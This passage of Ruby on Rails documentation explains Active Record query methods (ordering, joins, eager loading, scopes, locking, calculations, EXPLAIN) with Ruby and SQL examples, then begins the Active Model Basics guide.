To retrieve records from the database in a specific order, you can use the order method.

For example, if you're getting a set of records and want to order them in ascending order by the created_at field in your table:

Client.order(:created_at)
# OR
Client.order("created_at")

You could specify ASC or DESC as well:

Client.order(created_at: :desc)
# OR
Client.order(created_at: :asc)
# OR
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")

Or ordering by multiple fields:

Client.order(orders_count: :asc, created_at: :desc)
# OR
Client.order(:orders_count, created_at: :desc)
# OR
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")

If you want to call order multiple times, subsequent orders will be appended to the first:

Client.order("orders_count ASC").order("created_at DESC")
# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC

4 Selecting Specific Fields

By default, Model.find selects all the fields from the result set using select *.

To select only a subset of fields from the result set, you can specify the subset via the select method.

For example, to select only viewable_by and locked columns:

Client.select("viewable_by, locked")

The SQL query used by this find call will be somewhat like:

SELECT viewable_by, locked FROM clients

Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:

ActiveModel::MissingAttributeError: missing attribute: <attribute>

Where <attribute> is the attribute you asked for. The id method will not raise the ActiveRecord::MissingAttributeError, so just be careful when working with associations because they need the id method to function properly.

If you would like to only grab a single record per unique value in a certain field, you can use distinct:

Client.select(:name).distinct

This would generate SQL like:

SELECT DISTINCT name FROM clients

You can also remove the uniqueness constraint:

query = Client.select(:name).distinct
# => Returns unique names

query.distinct(false)
# => Returns all names, even if there are duplicates

5 Limit and Offset

To apply LIMIT to the SQL fired by the Model.find, you can specify the LIMIT using limit and offset methods on the relation.

You can use limit to specify the number of records to be retrieved, and use offset to specify the number of records to skip before starting to return the records. For example

Client.limit(5)

will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:

SELECT * FROM clients LIMIT 5

Adding offset to that

Client.limit(5).offset(30)

will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:

SELECT * FROM clients LIMIT 5 OFFSET 30

6 Group

To apply a GROUP BY clause to the SQL fired by the finder, you can use the group method.

For example, if you want to find a collection of the dates on which orders were created:

Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")

And this will give you a single Order object for each date where there are orders in the database.

The SQL that would be executed would be something like this:

SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)

6.1 Total of grouped items

To get the total of grouped items on a single query, call count after the group.

Order.group(:status).count
# => { 'awaiting_approval' => 7, 'paid' => 12 }

The SQL that would be executed would be something like this:

SELECT COUNT (*) AS count_all, status AS status
FROM "orders"
GROUP BY status

7 Having

SQL uses the HAVING clause to specify conditions on the GROUP BY fields. You can add the HAVING clause to the SQL fired by the Model.find by adding the having method to the find.

For example:

Order.select("date(created_at) as ordered_date, sum(price) as total_price").
group("date(created_at)").having("sum(price) > ?", 100)

The SQL that would be executed would be something like this:

SELECT date(created_at) as ordered_date, sum(price) as total_price
FROM orders
GROUP BY date(created_at)
HAVING sum(price) > 100

This returns the date and total price for each order object, grouped by the day they were ordered and where the price is more than $100.

8 Overriding Conditions

8.1 unscope

You can specify certain conditions to be removed using the unscope method. For example:

Article.where('id > 10').limit(20).order('id asc').unscope(:order)

The SQL that would be executed:

SELECT * FROM articles WHERE id > 10 LIMIT 20

# Original query without `unscope`
SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20

You can also unscope specific where clauses. For example:

Article.where(id: 10, trashed: false).unscope(where: :id)
# SELECT "articles".* FROM "articles" WHERE trashed = 0

A relation which has used unscope will affect any relation into which it is merged:

Article.order('id asc').merge(Article.unscope(:order))
# SELECT "articles".* FROM "articles"

8.2 only

You can also override conditions using the only method. For example:

Article.where('id > 10').limit(20).order('id desc').only(:order, :where)

The SQL that would be executed:

SELECT * FROM articles WHERE id > 10 ORDER BY id DESC

# Original query without `only`
SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20

8.3 reorder

The reorder method overrides the default scope order. For example:

class Article < ApplicationRecord
has_many :comments, -> { order('posted_at DESC') }
end

Article.find(10).comments.reorder('name')

The SQL that would be executed:

SELECT * FROM articles WHERE id = 10
SELECT * FROM comments WHERE article_id = 10 ORDER BY name

In the case where the reorder clause is not used, the SQL executed would be:

SELECT * FROM articles WHERE id = 10
SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC

8.4 reverse_order

The reverse_order method reverses the ordering clause if specified.

Client.where("orders_count > 10").order(:name).reverse_order

The SQL that would be executed:

SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC

If no ordering clause is specified in the query, the reverse_order orders by the primary key in reverse order.

Client.where("orders_count > 10").reverse_order

The SQL that would be executed:

SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC

This method accepts no arguments.

8.5 rewhere

The rewhere method overrides an existing, named where condition. For example:

Article.where(trashed: true).rewhere(trashed: false)

The SQL that would be executed:

SELECT * FROM articles WHERE `trashed` = 0

In case the rewhere clause is not used,

Article.where(trashed: true).where(trashed: false)

the SQL executed would be:

SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0

9 Null Relation

The none method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.

Article.none # returns an empty Relation and fires no queries.

# The visible_articles method below is expected to return a Relation.
@articles = current_user.visible_articles.where(name: params[:name])

def visible_articles
case role
when 'Country Manager'
Article.where(country: country)
when 'Reviewer'
Article.published
when 'Bad User'
Article.none # => returning [] or nil breaks the caller code in this case
end
end

10 Readonly Objects

Active Record provides the readonly method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception.

client = Client.readonly.first
client.visits += 1
client.save

As client is explicitly set to be a readonly object, the above code will raise an ActiveRecord::ReadOnlyRecord exception when calling client.save with an updated value of visits.

11 Locking Records for Update

Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.

Active Record provides two locking mechanisms:

- Optimistic Locking

- Pessimistic Locking

11.1 Optimistic Locking

Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An ActiveRecord::StaleObjectError exception is thrown if that has occurred and the update is ignored.

Optimistic locking column

In order to use optimistic locking, the table needs to have a column called lock_version of type integer. Each time the record is updated, Active Record increments the lock_version column. If an update request is made with a lower value in the lock_version field than is currently in the lock_version column in the database, the update request will fail with an ActiveRecord::StaleObjectError. Example:

c1 = Client.find(1)
c2 = Client.find(1)

c1.first_name = "Michael"
c1.save

c2.name = "should fail"
c2.save # Raises an ActiveRecord::StaleObjectError

You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.

This behavior can be turned off by setting ActiveRecord::Base.lock_optimistically = false.

To override the name of the lock_version column, ActiveRecord::Base provides a class attribute called locking_column:

class Client < ApplicationRecord
self.locking_column = :lock_client_column
end

11.2 Pessimistic Locking

Pessimistic locking uses a locking mechanism provided by the underlying database. Using lock when building a relation obtains an exclusive lock on the selected rows. Relations using lock are usually wrapped inside a transaction for preventing deadlock conditions.

For example:

Item.transaction do
i = Item.lock.first
i.name = 'Jones'
i.save!
end

The above session produces the following SQL for a MySQL backend:

SQL (0.2ms)   BEGIN
Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
SQL (0.8ms)   COMMIT

You can also pass raw SQL to the lock method for allowing different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:

Item.transaction do
i = Item.lock("LOCK IN SHARE MODE").find(1)
i.increment!(:views)
end

If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:

item = Item.first
item.with_lock do
# This block is called within a transaction,
# item is already locked.
item.increment!(:views)
end

12 Joining Tables

Active Record provides two finder methods for specifying JOIN clauses on the resulting SQL: joins and left_outer_joins. While joins should be used for INNER JOIN or custom queries, left_outer_joins is used for queries using LEFT OUTER JOIN.

12.1 joins

There are multiple ways to use the joins method.

12.1.1 Using a String SQL Fragment

You can just supply the raw SQL specifying the JOIN clause to joins:

Author.joins("INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't'")

This will result in the following SQL:

SELECT clients.* FROM clients INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't'

12.1.2 Using Array/Hash of Named Associations

Active Record lets you use the names of the associations defined on the model as a shortcut for specifying JOIN clauses for those associations when using the joins method.

For example, consider the following Category, Article, Comment, Guest and Tag models:

class Category < ApplicationRecord
has_many :articles
end

class Article < ApplicationRecord
belongs_to :category
has_many :comments
has_many :tags
end

class Comment < ApplicationRecord
belongs_to :article
has_one :guest
end

class Guest < ApplicationRecord
belongs_to :comment
end

class Tag < ApplicationRecord
belongs_to :article
end

Now all of the following will produce the expected join queries using INNER JOIN:

12.1.2.1 Joining a Single Association

Category.joins(:articles)

This produces:

SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id

Or, in English: "return a Category object for all categories with articles". Note that you will see duplicate categories if more than one article has the same category. If you want unique categories, you can use Category.joins(:articles).distinct.

12.1.3 Joining Multiple Associations

Article.joins(:category, :comments)

This produces:

SELECT articles.* FROM articles
INNER JOIN categories ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id

Or, in English: "return all articles that have a category and at least one comment". Note again that articles with multiple comments will show up multiple times.

12.1.3.1 Joining Nested Associations (Single Level)

Article.joins(comments: :guest)

This produces:

SELECT articles.* FROM articles
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id

Or, in English: "return all articles that have a comment made by a guest."

12.1.3.2 Joining Nested Associations (Multiple Level)

Category.joins(articles: [{ comments: :guest }, :tags])

This produces:

SELECT categories.* FROM categories
INNER JOIN articles ON articles.category_id = categories.id
INNER JOIN comments ON comments.article_id = articles.id
INNER JOIN guests ON guests.comment_id = comments.id
INNER JOIN tags ON tags.article_id = articles.id

Or, in English: "return all categories that have articles, where those articles have a comment made by a guest, and where those articles also have a tag."

12.1.4 Specifying Conditions on the Joined Tables

You can specify conditions on the joined tables using the regular Array and String conditions. Hash conditions provide a special syntax for specifying conditions for the joined tables:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where('orders.created_at' => time_range)

An alternative and cleaner syntax is to nest the hash conditions:

time_range = (Time.now.midnight - 1.day)..Time.now.midnight
Client.joins(:orders).where(orders: { created_at: time_range })

This will find all clients who have orders that were created yesterday, again using a BETWEEN SQL expression.

12.2 left_outer_joins

If you want to select a set of records whether or not they have associated records you can use the left_outer_joins method.

Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id')

Which produces:

SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors"
LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id

Which means: "return all authors with their count of posts, whether or not they have any posts at all"

13 Eager Loading Associations

Eager loading is the mechanism for loading the associated records of the objects returned by Model.find using as few queries as possible.

N + 1 queries problem

Consider the following code, which finds 10 clients and prints their postcodes:

clients = Client.limit(10)

clients.each do |client|
puts client.address.postcode
end

This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = 11 queries in total.

Solution to N + 1 queries problem

Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the includes method of the Model.find call. With includes, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.

Revisiting the above case, we could rewrite Client.limit(10) to eager load addresses:

clients = Client.includes(:address).limit(10)

clients.each do |client|
puts client.address.postcode
end

The above code will execute just 2 queries, as opposed to 11 queries in the previous case:

SELECT * FROM clients LIMIT 10
SELECT addresses.* FROM addresses
WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))

13.1 Eager Loading Multiple Associations

Active Record lets you eager load any number of associations with a single Model.find call by using an array, hash, or a nested hash of array/hash with the includes method.

13.1.1 Array of Multiple Associations

Article.includes(:category, :comments)

This loads all the articles and the associated category and comments for each article.

13.1.2 Nested Associations Hash

Category.includes(articles: [{ comments: :guest }, :tags]).find(1)

This will find the category with id 1 and eager load all of the associated articles, the associated articles' tags and comments, and every comment's guest association.

13.2 Specifying Conditions on Eager Loaded Associations

Even though Active Record lets you specify conditions on the eager loaded associations just like joins, the recommended way is to use joins instead.

However if you must do this, you may use where as you would normally.

Article.includes(:comments).where(comments: { visible: true })

This would generate a query which contains a LEFT OUTER JOIN whereas the joins method would generate one using the INNER JOIN function instead.

SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)

If there was no where condition, this would generate the normal set of two queries.

Using where like this will only work when you pass it a Hash. For SQL-fragments you need to use references to force joined tables:

Article.includes(:comments).where("comments.visible = true").references(:comments)

If, in the case of this includes query, there were no comments for any articles, all the articles would still be loaded. By using joins (an INNER JOIN), the join conditions must match, otherwise no records will be returned.

14 Scopes

Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as where, joins and includes. All scope methods will return an ActiveRecord::Relation object which will allow for further methods (such as other scopes) to be called on it.

To define a simple scope, we use the scope method inside the class, passing the query that we'd like to run when this scope is called:

class Article < ApplicationRecord
scope :published, -> { where(published: true) }
end

This is exactly the same as defining a class method, and which you use is a matter of personal preference:

class Article < ApplicationRecord
def self.published
where(published: true)
end
end

Scopes are also chainable within scopes:

class Article < ApplicationRecord
scope :published,               -> { where(published: true) }
scope :published_and_commented, -> { published.where("comments_count > 0") }
end

To call this published scope we can call it on either the class:

Article.published # => [published articles]

Or on an association consisting of Article objects:

category = Category.first
category.articles.published # => [published articles belonging to this category]

14.1 Passing in arguments

Your scope can take arguments:

class Article < ApplicationRecord
scope :created_before, ->(time) { where("created_at < ?", time) }
end

Call the scope as if it were a class method:

Article.created_before(Time.zone.now)

However, this is just duplicating the functionality that would be provided to you by a class method.

class Article < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time)
end
end

Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:

category.articles.created_before(time)

14.2 Using conditionals

Your scope can utilize conditionals:

class Article < ApplicationRecord
scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
end

Like the other examples, this will behave similarly to a class method.

class Article < ApplicationRecord
def self.created_before(time)
where("created_at < ?", time) if time.present?
end
end

However, there is one important caveat: A scope will always return an ActiveRecord::Relation object, even if the conditional evaluates to false, whereas a class method, will return nil. This can cause NoMethodError when chaining class methods with conditionals, if any of the conditionals return false.

14.3 Applying a default scope

If we wish for a scope to be applied across all queries to the model we can use the default_scope method within the model itself.

class Client < ApplicationRecord
default_scope { where("removed_at IS NULL") }
end

When queries are executed on this model, the SQL query will now look something like this:

SELECT * FROM clients WHERE removed_at IS NULL

If you need to do more complex things with a default scope, you can alternatively define it as a class method:

class Client < ApplicationRecord
def self.default_scope
# Should return an ActiveRecord::Relation.
end
end

The default_scope is also applied while creating/building a record. It is not applied while updating a record. E.g.:

class Client < ApplicationRecord
default_scope { where(active: true) }
end

Client.new          # => #<Client id: nil, active: true>
Client.unscoped.new # => #<Client id: nil, active: nil>

14.4 Merging of scopes

Just like where clauses scopes are merged using AND conditions.

class User < ApplicationRecord
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.active.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'

We can mix and match scope and where conditions and the final sql will have all conditions joined with AND.

User.active.where(state: 'finished')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'

If we do want the last where clause to win then Relation#merge can be used.

User.active.merge(User.inactive)
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'

One important caveat is that default_scope will be prepended in scope and where conditions.

class User < ApplicationRecord
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end

User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'

User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'

User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'

As you can see above the default_scope is being merged in both scope and where conditions.

14.5 Removing All Scoping

If we wish to remove scoping for any reason we can use the unscoped method. This is especially useful if a default_scope is specified in the model and should not be applied for this particular query.

Client.unscoped.load

This method removes all scoping and will do a normal query on the table.

Client.unscoped.all
# SELECT "clients".* FROM "clients"

Client.where(published: false).unscoped.all
# SELECT "clients".* FROM "clients"

unscoped can also accept a block.

Client.unscoped {
Client.created_before(Time.zone.now)
}

15 Dynamic Finders

For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called first_name on your Client model for example, you get find_by_first_name for free from Active Record. If you have a locked field on the Client model, you also get find_by_locked method.

You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like Client.find_by_name!("Ryan")

If you want to find both by name and locked, you can chain these finders together by simply typing "and" between the fields. For example, Client.find_by_first_name_and_locked("Ryan", true).

16 Enums

The enum macro maps an integer column to a set of possible values.

class Book < ApplicationRecord
enum availability: [:available, :unavailable]
end

This will automatically create the corresponding scopes to query the model. Methods to transition between states and query the current state are also added.

# Both examples below query just available books.
Book.available
# or
Book.where(availability: :available)

book = Book.new(availability: :available)
book.available?   # => true
book.unavailable! # => true
book.available?   # => false

Read the full documentation about enums in the Rails API docs.

17 Understanding The Method Chaining

The Active Record pattern implements Method Chaining, which allow us to use multiple Active Record methods together in a simple and straightforward way.

You can chain methods in a statement when the previous method called returns an ActiveRecord::Relation, like all, where, and joins. Methods that return a single object (see Retrieving a Single Object Section) have to be at the end of the statement.

There are some examples below. This guide won't cover all the possibilities, just a few as examples. When an Active Record method is called, the query is not immediately generated and sent to the database, this just happens when the data is actually needed. So each example below generates a single query.

17.1 Retrieving filtered data from multiple tables

Person
.select('people.id, people.name, comments.text')
.joins(:comments)
.where('comments.created_at > ?', 1.week.ago)

The result should be something like this:

SELECT people.id, people.name, comments.text
FROM people
INNER JOIN comments
ON comments.person_id = people.id
WHERE comments.created_at = '2015-01-01'

17.2 Retrieving specific data from multiple tables

Person
.select('people.id, people.name, companies.name')
.joins(:company)
.find_by('people.name' => 'John') # this should be the last

The above should generate:

SELECT people.id, people.name, companies.name
FROM people
INNER JOIN companies
ON companies.person_id = people.id
WHERE people.name = 'John'
LIMIT 1

Note that if a query matches multiple records, find_by will fetch only the first one and ignore the others (see the LIMIT 1 statement above).

18 Find or Build a New Object

It's common that you need to find a record or create it if it doesn't exist. You can do that with the find_or_create_by and find_or_create_by! methods.

18.1 find_or_create_by

The find_or_create_by method checks whether a record with the specified attributes exists. If it doesn't, then create is called. Let's see an example.

Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:

Client.find_or_create_by(first_name: 'Andy')
# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

The SQL generated by this method looks like this:

SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
BEGIN
INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
COMMIT

find_or_create_by returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.

The new record might not be saved to the database; that depends on whether validations passed or not (just like create).

Suppose we want to set the 'locked' attribute to false if we're creating a new record, but we don't want to include it in the query. So we want to find the client named "Andy", or if that client doesn't exist, create a client named "Andy" which is not locked.

We can achieve this in two ways. The first is to use create_with:

Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')

The second way is using a block:

Client.find_or_create_by(first_name: 'Andy') do |c|
c.locked = false
end

The block will only be executed if the client is being created. The second time we run this code, the block will be ignored.

18.2 find_or_create_by!

You can also use find_or_create_by! to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add

validates :orders_count, presence: true

to your Client model. If you try to create a new Client without passing an orders_count, the record will be invalid and an exception will be raised:

Client.find_or_create_by!(first_name: 'Andy')
# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank

18.3 find_or_initialize_by

The find_or_initialize_by method will work just like find_or_create_by but it will call new instead of create. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the find_or_create_by example, we now want the client named 'Nick':

nick = Client.find_or_initialize_by(first_name: 'Nick')
# => #<Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">

nick.persisted?
# => false

nick.new_record?
# => true

Because the object is not yet stored in the database, the SQL generated looks like this:

SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1

When you want to save it to the database, just call save:

nick.save
# => true

19 Finding by SQL

If you'd like to use your own SQL to find records in a table you can use find_by_sql. The find_by_sql method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:

Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
ORDER BY clients.created_at desc")
# =>  [
#   #<Client id: 1, first_name: "Lucas" >,
#   #<Client id: 2, first_name: "Jan" >,
#   ...
# ]

find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.

19.1 select_all

find_by_sql has a close relative called connection#select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.

Client.connection.select_all("SELECT first_name, created_at FROM clients WHERE id = '1'")
# => [
#   {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"},
#   {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}
# ]

19.2 pluck

pluck can be used to query single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.

Client.where(active: true).pluck(:id)
# SELECT id FROM clients WHERE active = 1
# => [1, 2, 3]

Client.distinct.pluck(:role)
# SELECT DISTINCT role FROM clients
# => ['admin', 'member', 'guest']

Client.pluck(:id, :name)
# SELECT clients.id, clients.name FROM clients
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]

pluck makes it possible to replace code like:

Client.select(:id).map { |c| c.id }
# or
Client.select(:id).map(&:id)
# or
Client.select(:id, :name).map { |c| [c.id, c.name] }

with:

Client.pluck(:id)
# or
Client.pluck(:id, :name)

Unlike select, pluck directly converts a database result into a Ruby Array, without constructing ActiveRecord objects. This can mean better performance for a large or often-running query. However, any model method overrides will not be available. For example:

class Client < ApplicationRecord
def name
"I am #{super}"
end
end

Client.select(:name).map &:name
# => ["I am David", "I am Jeremy", "I am Jose"]

Client.pluck(:name)
# => ["David", "Jeremy", "Jose"]

Furthermore, unlike select and other Relation scopes, pluck triggers an immediate query, and thus cannot be chained with any further scopes, although it can work with scopes already constructed earlier:

Client.pluck(:name).limit(1)
# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>

Client.limit(1).pluck(:name)
# => ["David"]

19.3 ids

ids can be used to pluck all the IDs for the relation using the table's primary key.

Person.ids
# SELECT id FROM people

class Person < ApplicationRecord
self.primary_key = "person_id"
end

Person.ids
# SELECT person_id FROM people

20 Existence of Objects

If you simply want to check for the existence of the object there's a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.

Client.exists?(1)

The exists? method also takes multiple values, but the catch is that it will return true if any one of those records exists.

Client.exists?(id: [1,2,3])
# or
Client.exists?(name: ['John', 'Sergei'])

It's even possible to use exists? without any arguments on a model or a relation.

Client.where(first_name: 'Ryan').exists?

The above returns true if there is at least one client with the first_name 'Ryan' and false otherwise.

Client.exists?

The above returns false if the clients table is empty and true otherwise.

You can also use any? and many? to check for existence on a model or relation.

# via a model
Article.any?
Article.many?

# via a named scope
Article.recent.any?
Article.recent.many?

# via a relation
Article.where(published: true).any?
Article.where(published: true).many?

# via an association
Article.first.categories.any?
Article.first.categories.many?

21 Calculations

This section uses count as an example method in this preamble, but the options described apply to all sub-sections.

All calculation methods work directly on a model:

Client.count
# SELECT count(*) AS count_all FROM clients

Or on a relation:

Client.where(first_name: 'Ryan').count
# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')

You can also use various finder methods on a relation for performing complex calculations:

Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count

Which will execute:

SELECT count(DISTINCT clients.id) AS count_all FROM clients
LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
(clients.first_name = 'Ryan' AND orders.status = 'received')

21.1 Count

If you want to see how many records are in your model's table you could call Client.count and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use Client.count(:age).

For options, please see the parent section, Calculations.

21.2 Average

If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:

Client.average("orders_count")

This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.

For options, please see the parent section, Calculations.

21.3 Minimum

If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:

Client.minimum("age")

For options, please see the parent section, Calculations.

21.4 Maximum

If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:

Client.maximum("age")

For options, please see the parent section, Calculations.

21.5 Sum

If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:

Client.sum("orders_count")

For options, please see the parent section, Calculations.

22 Running EXPLAIN

You can run EXPLAIN on the queries triggered by relations. For example,

User.where(id: 1).joins(:articles).explain

may yield

EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
+----+-------------+----------+-------+---------------+
| id | select_type | table    | type  | possible_keys |
+----+-------------+----------+-------+---------------+
|  1 | SIMPLE      | users    | const | PRIMARY       |
|  1 | SIMPLE      | articles | ALL   | NULL          |
+----+-------------+----------+-------+---------------+
+---------+---------+-------+------+-------------+
| key     | key_len | ref   | rows | Extra       |
+---------+---------+-------+------+-------------+
| PRIMARY | 4       | const |    1 |             |
| NULL    | NULL    | NULL  |    1 | Using where |
+---------+---------+-------+------+-------------+

2 rows in set (0.00 sec)

under MySQL and MariaDB.

Active Record performs a pretty printing that emulates that of the corresponding database shell. So, the same query running with the PostgreSQL adapter would yield instead

EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1
QUERY PLAN
------------------------------------------------------------------------------
Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
Join Filter: (articles.user_id = users.id)
->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
Index Cond: (id = 1)
->  Seq Scan on articles  (cost=0.00..28.88 rows=8 width=4)
Filter: (articles.user_id = 1)
(6 rows)

Eager loading may trigger more than one query under the hood, and some queries may need the results of previous ones. Because of that, explain actually executes the query, and then asks for the query plans. For example,

User.where(id: 1).includes(:articles).explain

yields

EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
+----+-------------+-------+-------+---------------+
| id | select_type | table | type  | possible_keys |
+----+-------------+-------+-------+---------------+
|  1 | SIMPLE      | users | const | PRIMARY       |
+----+-------------+-------+-------+---------------+
+---------+---------+-------+------+-------+
| key     | key_len | ref   | rows | Extra |
+---------+---------+-------+------+-------+
| PRIMARY | 4       | const |    1 |       |
+---------+---------+-------+------+-------+

1 row in set (0.00 sec)

EXPLAIN for: SELECT `articles`.* FROM `articles`  WHERE `articles`.`user_id` IN (1)
+----+-------------+----------+------+---------------+
| id | select_type | table    | type | possible_keys |
+----+-------------+----------+------+---------------+
|  1 | SIMPLE      | articles | ALL  | NULL          |
+----+-------------+----------+------+---------------+
+------+---------+------+------+-------------+
| key  | key_len | ref  | rows | Extra       |
+------+---------+------+------+-------------+
| NULL | NULL    | NULL |    1 | Using where |
+------+---------+------+------+-------------+

1 row in set (0.00 sec)

under MySQL and MariaDB.

22.1 Interpreting EXPLAIN

Interpretation of the output of EXPLAIN is beyond the scope of this guide. The following pointers may be helpful:

- SQLite3: EXPLAIN QUERY PLAN

- MySQL: EXPLAIN Output Format

- MariaDB: EXPLAIN

- PostgreSQL: Using EXPLAIN

Active Model Basics — Ruby on Rails...

1 Introduction

Active Model is a library containing various modules used in developing classes that need some features present on Active Record. Some of these modules are explained below.

1.1 Attribute Methods

The ActiveModel::AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them.

class Person
include ActiveModel::AttributeMethods

attribute_method_prefix 'reset_'
attribute_method_suffix '_highest?'
define_attribute_methods 'age'

attr_accessor :age

private
def reset_attribute(attribute)
send("#{attribute}=", 0)
end

def attribute_highest?(attribute)
send(attribute) > 100
end
end

person = Person.new
person.age = 110
person.age_highest?  # => true
person.reset_age     # => 0
person.age_highest?  # => false

1.2 Callbacks

ActiveModel::Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after and around custom methods.

class Person
extend ActiveModel::Callbacks

define_model_callbacks :update

before_update :reset_me

def update
run_callbacks(:update) do
# This method is called when update is called on an object.
end
end

def reset_me
# This method is called when update is called on an object as a before_update callback is defined.
end
end

1.3 Conversion

If a class defines persisted? and id methods, then you can include the ActiveModel::Conversion module in that class and call the Rails conversion methods on objects of that class.

